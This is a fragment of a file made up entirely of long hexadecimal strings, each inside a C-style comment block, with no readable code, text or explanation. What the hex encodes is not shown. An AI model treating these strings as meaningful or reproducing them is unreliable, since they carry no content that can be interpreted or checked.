de754b938ceb0bea73ec9e6adb3e4fd5797b4aa316fba92563eea65d9521494d0b3adf60860306c9326f11496bda7d15a44bbb353981ce6738599c60a29745ebcf30c2dc882f53698076042468be64b74cf4c69d281985b750de5cb7483f939a77ad774f66af56aee94a064ec110ddbd01be768a73eeba68d0b9233cadf55500b86a1ddca901c4f8373b73eacf411dcef5b4040dbce80ab28eab6c0d486416ce6498b2ca42079af9ead3ce1e05227cdf3b68ebabb3a2c0056d86a2b82e4208346d58ae206e0f1323a343763e21b4f410acf15355806cfc165ede68f336294d87def3a9b20c066f1691742e0dabfcbe71b2125b99950f16491ed70b7b6d55f654b1db640f080506b166cdb7966ff8048619f4b2c630152374cf30b95186cb6a9696f7fbc670f92deb806197356691126db0d1d1b68510621dfb56be513461a3ae2545b83a847255ee93794e1189139643b7f9993b3f7a5bca40f001d00518fc3cf8520d3b87bb07c00ca38270a50bb2e9aa79a9495e764ba1682730955792844b7ad896d4eaa9f497c328456cb2c4b279fba1592be8a197cf60a2151fed8308aaffd7447a184965766144e4e8ad4d1f51c0af7ca156c091da858275a20a5265d428472bf48d9f0fd5a22c4cbbbb79ed27ee3531068fa49e6ebbbde46f5b97bc1c7fd102c3d575044229e70eecaffb8a65c302adf835de62c1031927affaef2acb621f1cffeb32701968a4d3f4ca05871125ea73acc83eee75b8f166f43c504028d6d5a73bb6ecc33df8fb9d4f5af664a91638c26642e116adcd678c5284b5f25fbf57975a8e01ce8310da255c046d2bd2f273b828031c6f1f02c0224624a0f10a0326fbb0cd5d54651c8ed2a9e257f1dd75c5fc00e4a59132a61ef3ddac64534e9c4305c4a25086036a49e3b05249b25558dc24dfaeeb82b94cb3c2f4dfe1b2cd71504d6a8faba85b94fa1ea0b86ba16764da507a03bd6b4115d0da979dca236db5d9908a65627d13bd0ea88e7b95c8c92662552509e14cbb3ff90d60f58890b94dbf69e93a9311939520bcfd56d6cdae9e671a0d7f5b2385b2fea86dec12d5651f8eedd18ace4439dc7bfc656f82f2c7784f7c199ce3fc9cb79377e3960da23032684b09f8123e66c7d4376a29b17bb2c1bad394544164a6271eec664ce1f950d2a89b7383c46cf71f817b99dad0333157a1eab674a1f18b97a28c4151fea642dac060a61fc1c4d6217073f38a9275bb1955b761e010f14cf33b562fe331feb5aaddc52d13354739f280f5864dd7054b3c21a921f059436acac80bfba87048209dd98b3fca8ed3ccaec811cb690514b451d7026bcc015768becd0df93f1c0b98cdce7d8df1944a7c1615d327c5219e2b51d339b7ea759812b58189d75c56f6d42fc3d3450f9d15c657c5a204568f1211dcb25a72109f5a6ce1b0d75b76c5e919e62d14275a904ef6cb341a63dcb84ad877ba12732d3b5e92992cd54e6745da57bd6791fefce3186f40c1419d37c62d6231fd5f76d38bcc4e38e84b6fd413dcd74359f975495ae78af5dd7aefb5dc0b5f97a68430554ac5b79917c44bd2fb27ceea2dfcfedee06f4617de791920e45169e6d5a799e0ab70d604f553924cb730583cddf56b0e4c3a2a1e567537735fbc0642f86ff827cd87123908bfc6d73cc5d013cbab095adf3d276eb924d4d7706d1f6408e746fe480fc737f013f2485831081f76b454f0501c777693d862f41d655204dcef043592035fdc90ddf11b8ad54dc2b42e9312b811e0b3df0c0d020a0bb079a313ae066cb8834d9666a40604f05a6080bcefe70fa5944c803c512cf30831433c5a4258990136b38b61e8aba8b13f0a657fce867a91917a5836e803f84697026a61c2bc1a234165c7fd6232de99b8b9ef62e6d143607eb61a5ed719e347ff753c8c1782ca8490b1cfe8bb41766a2a4a3e5fb9e2ca045b2ee7839ac40a8c4ce07fffda71996db7a13526ab77cd19cacf1d905dab4d11c22769d35f49c71df7d287b55699416b158aa352fa36c4e706701a45fc972988c66154041f2bf0bdcf7dba80844ed44e3dba3c7fe88adf450ac4fa58cd49968bb8f917b2*/
/*8817612114a547c087bb94f8396df8edd0ba8c939ecf09491ae149b893bdcad4b7691933ee133db1e6de54f46000fbc65e0e30cb32b3e9ef015e56542915708aad32b48a8f72574b701ea3718e6f1f9d07db95f02fbdea5e2bea7e7c4295106459d10277e77bdc947e35cdc3ce0363ab782719c5f6bafe62b7d18b24d1a25777b70c95ed9c676895988a7a2f6cf9ede032b3f7d4ece9c01d13c3fcc18aa51398726793cb7fef8669de238fea3f4760ce3153ccedcd13354fe23ea4a9469dd47635351ac0cbaee67e8f7c8dd8a6f53e4bd3427f585440b9aed5f7dce9c16f80786715e31aac5301caa5e7d929546586f405d50f58cab9298b45e3e96bded083790f8b6147daa1e2a6b48db65746f59b503544f6bfa6c6881f068d5ded2053c0a7b64304fca9fefc8ef06d93289446e97bec1099b518e75e1f9f1bbfdc3a94a6ae0b34b633d2790f16ad5277d1a2e813edbde06614a6d65211f63882eb153f4fe7b6a190b813d528869807a3625314d419fa94f590ad6ff3e4ccd87914bd35e118e179a8637d899c03aca896702a5349833f5b476e8cc70b7fae8c27c30d4a65c76b97724f2c0a4469430b7f9df587f924901505a9ffcccf3383220433336e146688de45edf1e0d58b9f4891fc34279d8f7b676c9ec689b96233deb72512e0858c7ea40d686599c597afe938711c44e595cdbc9b0e0a8431ffd0d8cf667698d74aa339436b09fb1a334c4b1b9265d294c5418e75931dc4a05d98dd090d2d75191bcbcfaea0f77875b7857194d3d3923f4e83ca3fdc94dda45f30c0c4d8676ec7895c86e204f6167694bee8e02be78d8f2f223b80b50a60ac26270c9ddb50020410dd23c5b93e768555065fdf927a34d4b5107a94722fde45b0a3fa66aa3307b49dc38aa978cfebd8e14678f1f824b7406c85c9d9ccd2136f878c11cd9049731f695bdad4659eac8431d9e7c21fedcfb6ac71c524dfec1581b70377f26e0703c0e8a06dcc3e95575997dc9cb0f290233c0f9c69b95907e19ae85c07eb763d42998b91478d49c72052a9963abfc8d2a334f1f89dfdd039a334d38896bdbd912617914b1eca601edbe6a09edbed9e0162ea0f19874ec0b037958c72ba1497e2eed183f2b7b38eaa7b7b90f43dc441b6b4dfe7a96563ab810419b4933eefbf6f91adc049279950a570dd858fa7fb7156b0d01c9e3636ac1df7de0df8c2028196508213ddb59b622288a5cd92ecfb003587fec34621def08900e7cff7aaefd49d1e743ab8fcccadd733c5a3abc3dd461b619ca4c87c2821b2dff50656b664dbfd7cdb22e6b8020544f4691d9361010aa58bb0965327f1dc2c40e1ee32ee4fcc7c4fd758073bee15a4ba3312d5b0d096e9e8f8e8dab0953695913401dd2243568001102e6c8ff17d9ac4178e8eaa25d75bdc17be04b637522d89f9b86fb85d1d4649be39f65bc1c1e99d8b8d10b32238bb363857853f97ed62adcf094f8b5f12caf1c313565d06010dcb98e3d03b0397dbe086ce600cf508bc83ff3f5b99613c8694fefe6bc3c104ff45c5d52b9750488028f84459a57e39adc1dc94da3eb77165554848845f1dd0a0519c2aeec5f6d47989e9bf0f600c50570901a7aea4facf9dd50b806485097d0a428950a49616f2393645a9f8b518d97b922349e2a5dbeebd90df3b5909586eae66bb10bed09bd966089bf503003637d5f4e2fb55572bab692810a0536735dd750d3cad78a1d0afdf0925fd3c614ee57784d5bf318a6a149387af29a1695e5d5b9c234ca72d4e322047fe7f636ece800ca663b3cddfc94a1e7c20aa8e9b4117908607ed6096ac473ffa347bbb984a35b981a034363832ba372bd26c72ed1c47d316791273e6e6dbd2bb13765824fd7b498fe320cf8bbdaf75ea562dfaabd2058b9d61a741b6e878ef2cdfb727984cdc467a15d1368e9e821d8181e3fcbc7bd8638dcd7658c648ee4cf0dfc3ead1842c0aef1d1274f93fb90866f3b1f705926bd5ce269b134e1d671ab31a5521a947fbe14d14951f00343a7c4808ee64274828104d4fef68684eb9f1d15f0b4e091dcf9130d3f1a8f5c70964a3005661dedc4f4e3c2e878dd3bc908f809decc9453d37ec44b9814e65d22c36b9eb7e4a8c846d2ad4ebcb989863053ef180895d4d352ddbf374a8f1bd4435cc4e64e306f5d0fa3d27a89a50adbb5ee903b770f16339258b5d2e614669ca7ffdbd029bbe163529ec4155bdde51569defa69c699ea0dc6d1349a4a5e097517a7902e6e6bb967200d75b50796e55c6efdc2ec03b6af33c7f0877d0b40f38643f771e2b3cd538746cc4d292233a23e1939a48a2ebd54aa5d9d7e9d8fae47e852d047f0ebf6465b24a62cba8cce72fa23c09e59e17120752980d00e48f43a302c97c792d463a7ac7de4d70f4c470df949ef4cc825ab4ab5f9a8fa80111620a07b348da295a7486a92c1f77ecbe57cc948529f72f10643c8d25fcc174e3fb96fe94f54e2575b8e3b5bcc7f34376f76ace060b95069fd1a3342849f84de8b0c2be6ab96c73a204a5a9b5d3055ebcdd6698dacf1872b6fffcfaee7fd25096b8a59560de850cc0f98bd80dafece52f0f0187b0dcd86e229ade76c3c2bbdd6de18899ec1abe3d54602813b9adba35808c095a81aa979d1dbbb261add67ff63d547d94399c3247211069f8af5ccb406aaa3a67a67373ac1757b47779f1bee9d0d90b2f64f3c87b7a3cc8376182d54511401188d6d00b0bea0d0711a90648c157424c06915eaec15ebc845f1756f7fd9045f1ad3d79d6c9a80fd2fd5dc7aec0b38e0cfe7dd93924c5035bd3ab29aa8ca791ab5f035fe6e2d8*/
/*1d3c193278b3bcb0ea18be11c9eed96e1f8c571e06450172ceb684526178b9360d0ae8f997c95baa456023c92eb6077176211ab645bf76636f7522ea2cd6bfedbd59fcb24a22d81b720dc75a324052f307b9455d6b1785b3f3ecad247fa885fc600b81bfc7430f5d4456d27815453129e64907c0a348a0718f217195c36039308cd4ae2e0856d195b896f358e059fbc4e08cf4326eb7e32e8458fd59a777145bed4f8f21cf7f63de979eafb4b65c53f3ad054c540f29dfedc6905b4e97249616b80db4c32a9e187a82ec00fddbaeb974695471c140dc23a515f504d72a39f086849ac767947eb5a5b2b07dcbdcfd5508c67e89340b94425fa8c2f11ea1c3b5d4ccdf2c85678e915a09e0f5fb936392c59a639810aa4d9621cd7330c8580d45c730bce25402d82c0996f392854f8f074d400ddf00f7c356150b89a381a9e010606a3330b6d1b17ab0e2af0ad36850bbe1b666b2ab0e78b80552a6bca2505bc5205c5f9838d38fe329616a975eaaad16466bed1347d240249b2da3b6afea601ff25cc64ebf824e047c924713d3ae90e9bd55f99152620c0077b74137172cd6536b8f0cb87feac078285faee4f7fc57474613caa9360e9f3a2e08ccf22a2d07eb0377ef500221f84b4ff1a9bca983838797b6192985e8f8dfb4d6de7504d70079a86c5e80ebf136ca18cf92c8e1f88d61dc8864308910780ef45edb7e55ea9e82cd35baaa254efbcb7a591bffd4c25e0016103d8d27bcd554524fecc87a96d4272252e211bdb5eaa9cf02be82cefeec89f46fdb9ce531d17be95fcfeb926571457443c81987dead8d03397a7d06c3d911696cf3b3301cbdada5f2f0f216f3955e1be7711e42dc3624e0248c194da3a855aa789a6f7935834e7f94f2a7552b51069ec9bb4ce025f8b3d358347f1352cd2f133006097110165cee496b82fd01e880b372688310576590aa78f8d9a4267f39a805a78beea2321353ba00d11311dd9c62863bb1d8c73569dc94bcb92e88b9ebc7841d387f29b8734aff542f860b67e20af4fe4547c1b22782bd5b45cc87380c37276095bac6cafccb2d4d08bad3fec6e11df587184ca030493f3eaedce9305d00b816b8d929f445496be13cbf4c15ab429d6f9d203194e22939be8dfe23e4a12a463867f328d569d847c20e80d8f0b39f97040f7213485d6c7dd2f772958cd43b08478560b2c0bbdbf96591fa6bc8c2b2cf63d9174e85cdbf58c3dd1b606516843f8791fd013a3b0b8b40b47b07f34db350649e859868bff9de510e5efbb04f1251b92933a23ad9c776fd2b8910c0529ed6292682839ffd30dbebcd84e309f2d37ebffcc9476b1f567601ca44578f6bc2a7488ac7561ed3596b32bc7c509857a1a989cec82605ee51f1645516054aab835475ba16535cc8813f43217a3f8ee005bfdc7ce63f685f5d73064dd9311cb6a1bbd70bb77c54d45870d594bdf4808dad165aac0087e333ed03ee43afd081a2f94f99a852c1d58e8ea2c7af83c013d0dbfc80e2dc2e41a30605a29364efa383ef0dfdc1ab7e505500ec3e5b2de2a443f9d08119876636c7789381d26cb8c677ebabc38f8892b4376deaa3f01ee1018818ec1d7e9344cbadb768df4e8137003d660214230f782606ba2ca4ad1b92863703e21a8ee69c993635ca2096cef1ca55bcb792a0dea87efb61e4f06d864045bed36fcdf948627ad0ad758370097c3ebdcfe33c6ade22bc2ed23d6a4f80f2aa65dbb9b744bec7a7b57590881991a6b0c631c0c662c7a78cfd6ff33bb854c80eec7e9dd221087f8efab92d7dd3994ef485e5529152c62c6c334f1328689872674aa52c8e57b6f934e08ab87df89f2ebc30cb7275152246256e47d4f16fd829f4a24cfaf3dd954c18c45b578faa8a9164a9e10ce5fa1267b7f360ca0b34d679321b36eb7e7a0dd8ca77e8581973ab7dab9161cc9e4c427669d519652accd521bcc865fa9c0725ecaa665c7bc647244de782881e9582a96f2ed01698154e26862b999722d8df550cf710f1c4d0099fa2315ac9eceb5cd50a6216d8a59f668b16c0c1673af0b86d5f6fa88e1839a6f6013af48f56dc8a9f97e74affab081d70a1579966b946e1cfb18c31d56c8d71ddc8bec77bf3a07b8522cdc30114b64b9641e368244d99bb184638a303df2f462b122bd2590bbeeedf0f3da9f9cd1d5619dda093b4a3591a007c1c4413849722b33ad43b7257e8f37f0132fbf181ffd04050e9b4ceb9b73d470a4398ba852d3649ca403baab0acbe0929433b031e2367adbf0399c354630647e8cc67df4eb80418f8e4cf97f911cdec6b3fba2859c0c820deae71dba27e48ae785fa547d6945c671ebd76b8b448e02933cdda2cb8c932e1afbe5a49a3305866fd07adf73387121bc1596f0a9f02d3471eaf352cab13445ce90bd789a1fa4c1ee41d732910b0d0dd61a0dccf0be0cd3134c0a30aa59448598acc7b529e0adec3a2a907a32f9eff188d327552a728af12f47ab3988f8e6cfb9165921940dc7f7f74d5dfca670e37686c10103d2baf6d0e332ba925ee23daa90b7eebbc1fd77c5e6948a31599c6cf30e284fb250f03c076589b18e44070ddb4716e8bed113669c7e9392f2b3807444c91a6bedd0658551aa461dffb62663f521b0120cf079a066c2595ba3fc77423dd8aadadc983f69c51e2f2bfd0129b706d439731b7b881c13f8e2f99b0d01174e6491c4560bd094c1278ddad1751760e290f9aa4b448fd5b38dd0349d152a864c2c5bbd24b4c36e6a0a5fd9a3bcf7a0bcb8bd995321b6c2c2f73c5e62ad6dc8eb260621701dbb0acfad8e000c9bc85a3774845a49b*/
/*bb49351a895217f7dbd37efac0a9c97cf272471897e08ce310491bf2510a05aeafd5faa3853f0a20e670999ab558ade12a181d771f8495817f8b8d2cf14ea47cc124974ba0b9be2f5d42f8478ac08dd6015051ff93148f7d2770a0a3a7fb7d1af3020c251ae0bf0d46cda94fcb9221294f69a1fea97fc5bd772a84ad30400186cf96a722ad21c9ca882d06f4e3165397dcd11a2dec74be4c13216c53c4974e0f64bcbbded09fa571e73739e62880eed7b1020be99a4ade95718bc786ab2ad560759cf14a20427cd0fb3cc5c2be7f19a7b358873ca7baf8ee5378b1e1492837b4d9bc8f67b74df8a1c9c0b44b6b839277a7ce7e18a73de64c0026281d8952decd067f791197c50b7b1ddc85b9b0b9395e9f39f954e2dcda85f8aaaca902bdd4306e604df7f1e81763526e328ccdbe04a6fea7d1acfa0b8d4353aec530a4adf8f746e0fbaac39a83f027ba8d479fe070ceb9321c90d5e233e57a978d0886ea0d5e89898f9a84f2838beb28c2ef58b9f4e16e0cdd084acab8898a79c444c7fbf4a6308086c3dfad92aa1f072f5b637d10829bd4c9ffe5ee274edb0b0967b522d2e5ce22bd0137d85e01e0609b4334dce8d7664e566feb7bb96f8b78b1ed50077862e3fa2ecda84e99f48cf89864ac9c0c84b24a12ddfd50f0dfb0429c06a91fad37b2187c7a42f7df326e0693ef3eb80b447fd52f0003ce1ce12c19d6dcbff0e385bbb51b0f8581c50de0464fbc932a2ee067a015c02196e64cb03fa210eb0342a09a78b6cedb36b4fbf5bc15b566131cd562f005d4920a751309058fe9b329fa7244abad32ac953571fb264a6694e3246c20bb9f91f46d2d5b010735f06df2f0f0688976e909c5e40461a1999f0de4a67ecd2b52d623dc4119ef5d88655659588ada0e934666947e0c71c2d405f1490d6b8413a6cb44e4611d2b6b503cdbda57eec2c2a873a7201f90d9fb68501293b636f463b96671587237d870095d21b634e82d282c5b488fb234d657937d68eb2eadedc69b644dc40aedb38a03776916528483d5c4eb0885d05ed5f34df1f09dabd3420e38545e72a83ffe9edee84506ff860d0fb6a83cfa10b8bc7a393a9208227515a37b3b3b3b8499fcd6065ee5fe80fa75673f5e956333f85f7a1bfd8f2337c47d9ee5e6e2dbf3992bc2b5de3417cff57e3b88512bc9436db24bdb09226f7d793dbbbf2489998c399ee481e630791a51042629f21783d7ace15ab65757f24de097760676952a6fea9436fd4e9187e1894ab62c0ea8efe43429655427b66c4c60e65b67f3e564956bf38e84f0f4651b0272cd88eaa8f55e53943c6acc8dbe75aeb64f1f39cd7c23f4ffcf297001617bec2cae6ff6763b30def90eb764e288f26d3e4e2770f91ffe97269f9c27c62d41c9d12e4d5a67d6e9e09b8642115eb5370e3b5e2da9257de1aee653af63ba80396e8ea8e1968180fde1fb87361e077194c8aab32a33f48c8594469a16c411ce00e65e11761129f849c63dfd8007cbbf82968f006b41cf262b48ab3f276d3f6267fd59403af0d13b44c9812d8af5234a9073b2ed23fbf190e2c4ea6d94f0e8b381195cf2a69d762c87c7182373682829f982b414b72e5479e91da27ba1f84341fe42c3a444ee43e73bc8f0306fec09d4e6e93436a5f12aa8aba1cf8707c33aae05bde40c98e2a6d73d8ae357d18c7ba2f2208567b30b96a6413fc5a5024c12c3710fad11ae23255a7e39098e4c93189d06476ce37c84a779e6745c98119d29713a0b78e27f46087165f7a053c3689248db558a35dc8a515a074ce6cb756d162eb3d888c652feb3578324da4f777229b66153220a88885a3eb9e7c6b10e55cf66c19a0e6194032c7e5d5317fdd3100f7518752f001828b08c3f8b9713c1a08b8e705858474c81f24d2991a439aca4474d9446265ebe1284e16fd9f9aa42a2e6fd2e635913e983b7ee85d5e0140b060fcc63d523a4f2b5c2d0bf2c7a59a7d5bda70655ae72d50c4d11259f99ece3665d85f1d5b14431f74f005449aed310a831b14c24200fc686818fafaf11d4b89c75132d6fe7e0170af481a17fe4c5e69ccfe5587cf3d06772c8a151bd09c4e2731de2804c5bcaf41e45090630d75581b8cfd0fefa21c720a0b389b44291fc0e38516a3d0f67e9c1b3481bbc80ab122397b2b450821f51f5739196b7d9e7f643cc0139f3f74cb0cc351352b96b60d4c3f9fcc6117fc9d7b4985f3506f0482dc266995c3d8a56227f2bff74c55a003853e6ee5349fbd3292668323d69f05855c93c6caf667c5942060c3153ce5dfcedb0e6da3c49902f473b938f6a45f0e98f417b560ef254aad2ce470ec61a1ee3dbbf7ea0c4d0b5216169ad15ee968731062380a2d8ebef94f5273f4baf2c9a08971e2322ddcdfb46e06851fc84134768f3380af381c9258b14cba1b2152b659bcdcafdb77183161029b78c3f2424dd4f97de6ff76892520a04e5ccfa8092acee7ebb5050b6db332814d22faf1bc9dab1c440aa59c817c15ce907a0d2e946f0b54a89191898859c90ec19b1470aae7b0d92ffa97ad1a372b1560c46a3d80f4220577ef7464be15e4a1b9132b6697d9d679162380e9a5f76a15cecd7028a331aedc4e14335877edfb6803f0b3c267d987bcfe159758d8ed9692090eec0d2c419b473f805bcd89bc7000c623ef85b235761a728d5484bf920c1d9ca8d7539bb1c6851513b3a3b6cfe690ae2d8d20082e3f26d83ebe68d7b1346bc2e3206af047a9f22f56e484acc630be3803b1768ef663280c459d2267577497c0c92151c405e00c5b38063075fd81fb5447ec2614732bda993d550b1013a*/
/*61209b02c839f1989492d05926f59abed57dd887bd5fa804bb8d10dcaa80e4ba06af8216a8852ac4fe6650459fef092d3815f6ae80f23d148b6bf3daeb8c7bb5fae1c421575ccea36809a0c3d00153d858761a6ef84a9d80b4f7ba2880e70f80f03c51aba5ce858b0e717b333fc7a5037f4a780fcd2f0bc85a7ed45280ff0d3488942bdeba957eac6a3bd54c0bef6a891e13e2fdee714b381c9f953fe89b55903c4eb94914cdac295fb1b256999825a19c4f32629ed654f11000e0fb3eebb9faa78e0bc63e4c085c997d57ee76e0d62fb81d3af73337dba7525db2180fbac1aa135564ed8fd882e89bfdd94b1140ef7d66ed04ec5191aefab2cdd1e32c194953e0f470d2f52bcc04ad17769c1ccc13dadce5a2603895420d1d3d1c93b8663c410b5ebf19b440346ea4abea5895bf18ad929c986a089c1f43773c28b35680360628ee63a8d64a29be9bf44dac3fb1948e8bbc99c97661223c6f64c3ca0864896d5ce9e051c3145906bb73186ca64b4dd764fb35f85eb09764c093f03f12ac5cf41f1c9151bf7d3a7f83f02eda085407689dc64664388df06e6a430a3e38fdbd24ce61e425a64c316b9d40b1633d51a7a90014b9e9d367fe8ff29b65ee7bc1c3a964f61de0910188d02d5194b421b35a679914f2b4497daccf101157fc98c5e42aa588fc82aeaf238993a6527e0939534dbe4edebde1c8927220dc51fa39f25116ec701369bfd003f0562ffb93d79a16b97ee0b8e1f3c29477d26969911d055c1b1e6cff14e3478c077912a03f5edb76abbf7fde69b3e84a5ecc7e9116fe789db2aeff5363e51ab7e9262eb929146dff5043c630d02acb2120dca391e59f96e88175c9098b7d2e7e0d2e68f9ea3751104d4932be23f00994b87094b1b205fee79b79d934a6ef3e98805cc5b7e4a85ee42b4ad64348f9f2aede8c26448fdd29f74833ec5ab4f71702e065646776158141768c136df02f9bce66edd31bd12972d3a275dd6b3ac5bfeef7bb0ab493e1e1d6722b6e8e66a4137002634775e423796e1114553754618eff63773d849cee1f3507026bd4a47d0ff814f855c555a24791ca634c7aba7b24847098cd441fa9372466171c232c9c1cc97bef6076f872d376754f112f272fa1fccda5e36ab9635f3e688419bc26401c88b7876c6aabf6d02af4485f01cc6171c9610eb55cd0ac12afd65e1cd26d95cc35fad8ce3d391b9abfbc1123a17f9837d0c3b9b731128be7549c4c5944e6887575ae1800dd7f92cfeee0c367c471db0f85cf42c0fafe3fdd4077577af07a62e2f4b46e8b41e504ae210bc27b04903cf5a10df0809e726092fcfa329ce70d7fcaa27f69f928d7f1c5d6ad83de372e0f146ab5cc6b32251606f784c912450a8f54dd73821edc92b4ebf236f7c73f4e40a6417b95bbdfe9ca4b72c870f071c62152abca14a9ff35d87252b179346bf38bcf11cfe697c2761c6d5415fe4fc5d1facccff0a43b5fab029516f2d3e848d9d9bcf7b6ff3fbc416a732606cc0dcca6dfb829ca84e57120037db112e854357c4c4e568b571fe112fddc8f5325a65fdd49a628432d8a24859b102792c2a82be4f2e4bc45f8b0fe1e5a3062096b8c35b798750052d4c5905e8313c035971e2906f8711e6dce1b48046198e934d1aaf02cd937a4d058685bfa698e19fff66d533a694c1d8c877c8af2e4d9e7d80504a3617b7604251f7a4d1c8c34ffbc9fc9b0ec2b5a2abf2a48435c93628083aa6a0d61938f756b7d7dbf4522f9584832d202b27c21b0470a56a3831fe4011e842252120c6cadfdbc48c61020412f4556ecdca86927d0be83590599123fcf28fcc3bab66840025155e840b1e6aad72f545bd399c444d6676fe4906149307c368b6a2fe10f58e84336c9fe00a4ca077191be75662ea94572e432927cbd386b3a603aa464e01569d1eb0da5b0477cf9773e279ed0ed9280662124652662f462230036efa543cbad80f7f02b88a8984a881bd4bea6468acf475a68e9c6fe9d58362883650eacd105e06806908603efbaed2b19682282be79e824917b092a9502c9b47ab58611cbfc2e8f6a54ab3b59066317ed346b62dda6db2a1c576e6a2ee834cf697239cc9b089714182601de94ede24be226f35c4161a85d8252d7d3af558758f5d0f0f893642b7a28f86ecbd06502efb6ce40afbf8af52697165927e94fadb622b3673582341d9f14a4e5b279f060a6f1ceba85ecbc923a0e8f2dda5d25e011d67a6d310bf2a1de12e7d4985fd4375e5680f37c1d0f17dea1f0fa70c2c9e9fc29def256517b3c662eed429c011081a4cfd999fb83ab157035396cec38808d054671946a897a8985cf4c6fecd901e9b505d5698d1a1097a54c012d26b8e071f89b95bd7baecb81fffa648e1580d7f56792d3a4e1a229d70ae6357a1ba87fa1bc299c27569ed8bd37f599a772184cee27d470b722b949a7395c77c0f1dd52b5a52e7a27e8220298c27d10917b62cb3736c18963d5714a80ff955039ea1f4fda3b9ebfb51f5576316db34310ce3e98dfbca7e3d8964712c3aca84624152660415311b7577e5df8a2db9978bfc129000191b03b704dbdb30b9f6973b7b84b7afbb7191587c3d994a78050693973bf7ced0f397cb59cdbec5bad71c7a591f49305d0abc0580eb621eacbeef80d24d2834afc9e7ae196d4f61b4986437f00e5baeddbe859fcdf5cc8ea052c6a6468dd9158d7e3243c18108c8e8c8c5d5116edf255c01fdd7c839f62343e82816a244ee4d6a035f06421be7082cc1fdbe9dfd0d360792e366c9f6a1eb2270688393bb069612d2c46e459155c6015739fcf6f4d74d0*/
/*4d548ab21772466d9daa3e3d113cf560803ac343788523d6cfbea273fa329660b53b2fb43e20ddec93d9a7e0c8e1f96866ef78c9e6a39a4546929a723ec2d7722ae5b15f14aa22ddc122ba84f20ba7a272ff67b8827db81549aaeda3ea85dfc1b431d643641c45934c73c8dd916a6bbc225a75f6f854a2b3778ed26951b2b382424a23a7e0c4d7ff823e2ba7f96e1218cf84b5af3be43e47d1b6a4f10102cd906bdadf777b9b51940c43e900ecdc735dd6d0e8587ad68e4f78b445286a84a1c8a8cc419cadd45fa625b4974ea037ef106997abd60425f2f393318b3cd534ebcf6477dabec27109c44e082f93dec329fb9d0b2e810dc29047ab472b87a8594931c0b90a65ccffdbab09c940ace18c03648c45a7c6249eba7fa7e2f17b30ad0d59c529f524a5b9557646051fef99c64b4b3bb680979ceb1601a534cbfcdc2516611409e65536aaa9ddbe6300c9240f8a1ab4cf0ec2c13aa6e72b0d3753f7fc8713fc11601fcff3da1d492ce9136e077faca7f3cd24ffb99d21e48f7f1821dd29ef6c7cc0189f9760ac8414533907b8ce95593fda4cca1688c2444791044ba84589afae6063f932b132f0e4e2d4334e4c9f57743586324a12709ba37e6e11051a2ff851e78fb82046f330dd20eb5c195e44990f98d925fcf45e0897c1247af91a59afa1305fb839ef6b14ab2604b135911b948c3b49ed10a8b6cefee27d409d6723e2f9488c44f1c2d1c5115b4b2d58b8ecca7453369b98a93b2f28d03c23d13ccd9b1bc0c78aebb7f20e5b18fbf23dfc77646510a5e3e75d2c2db940f5f4e3e1c646979bf6a839931d50e273e0b17274363c54616b373bce930081ef078eb30ced1c160f10d982a4e2a1bde0eae527d2510a8757597deff342895f7af0043b3654e556d44beccea2902ef4c9f619234ecdc0b2b80fdd55370a024658f88b544e49510d49f74dc26730005fa16fc8b36e0758a73556ced991223e883d37ce6b8ce3007438d5dea84174ab131fc319d602a3b5a5ecd44bea7a2fdd7a848b1cbc073a81553b8f97775889306cfe78755e41a2525e01883e31c990b4bb61d7ab9dfbbb5f813c2c75d8792aa3076c59a3a3a9d77b5d7473914a74a4f2af699c96b017956547f122549ea24bc47d50b1a602d35d9367eaea991e6f5d7d8bac0dbf72a0a242e1a6066f2c521000d8275b1efb1dc9e7e77cef6a42f397e9ddc874a85557617322db6268d32417d0355e5f0d9db4c65c3ef47392de8f95eb53bc2a04c085f7682a3dbd201cf173cf23399b9431525109802c5d134c3695413870a55e77b64c2cea628e8566118629cfcad8bc1490fa44c512c7ee4231e24b02124247b4f700776f44f6ca5f5d6d9ddddf1feab8da09457a5cd4c15132d4ee0c2733a4d7023b4603aabb4d7247f3932a239749f69fd2e6541ed3378f3d9efd79f91ccf54016135ce1ddfe447f16ea831fef05ba5e31dbaf2e7c215a806595063ad9cc75c59a8e2e3ea6384880880ea4275dd77ad6681963b35858c0cf72b0cfb6142804b82a9c785150153beff539d1eaff5a4ad6713accdf4284c0b7b3e75ed779a85e62e7774619f44dd2b2a64d7b57967a2cef6e66703da2851dc8c3864648c4f4297df9d0bc02462ff286ea1135e8dc6d8485379a07ff388dcd5b8a821058645d6be442562f4917a1ee52feda36a0db26b00bb04086de4dfe707c8eafad9bc340f346c0a3009fc6b0447fd269d646e39246411cc9e9bd53f504a7128ddb376f3eccfa749a32e2254d550df4c0ca96412e84101a35511c36a0e1e07326d2d1adc7ab2d33c01e66f7665f76ae2d715419fb319405a5c395db2d6b98680fb7a8c718f2379999b79195666f5fbdb9bf9aa4f5565102cba711c17d825a2f91b8871e75ce0c99b1bcbecaf4a389358cb808300f17c53d5846152c98d2ec7bcddd638aa86b0a2149da86d6404ac78b90f4c440df74aed306621ae42118a12640788d57d2b8bfb0e188293ef2b35f4df3e845d7c541996de74852c8dfded56ef9e93788e68492dfc059278cfaeb9d21bdb7902c32f9e378455a829e57acb7a19dd5c04c050ecbe084262156136d29b3ad97914cf1c7b03e7a876b0102ee0c8b5e0fe0a479f8973562714285eab28604665800ab4d77d8d590d3de138a74d3125b23792484de6af9fff7007c44bee4c163d5e24753d66512758afdd4641625c27a61061fdd609aa02f97d4f5521d202b62352b5de0275e6fd17b246598b74a579f426bb0ceb4da5aa885f922d255eed281ac4c85254e47b7581a274235af2e06315675a56e94d989b775005446cc9bd8508445acd5f50dfc70ff2ac67682d99ce05f9cbd28ef58232e173197205290eee59f7f33f9544834c4cd02db2bbdd933d101722c536335972b35eca1598f9459a38f88a6666eae302c0544fca6903a8bf154696dd0bd75e5c3c463d3a69a2b8f19890f46b8f90a5e0aad002b28f614587e6da5e959a3570f9eef0e4ffdeadb73a8343b64b0a8dce593f7936f43f88b62b3328021697cdbf1bcbc8304ab5a36e9710c80598d263882422e949c8cee434a7554fd32ae59887dca957b03ea2ea46b16c428f7e8eb2f1afb6432eab4896e7a9567ee8855524f86a1ccca19b83c80dbac05c39cfb6e5f045235417e67087bc4df4cc2740592c71c4162017587696a60c41fd24ff781f86140fd161839c21f6d79534c70f66ff44b6f1d140d9362642a9a7381a116b54e03a5fb95b2df9460ce4905fa83fc738d6c911ae466adfc778cb6398920b8021cad2e4787c8220a09e894d4d476422a33bba0f95eccea4550fe6f3b3507290720405*/
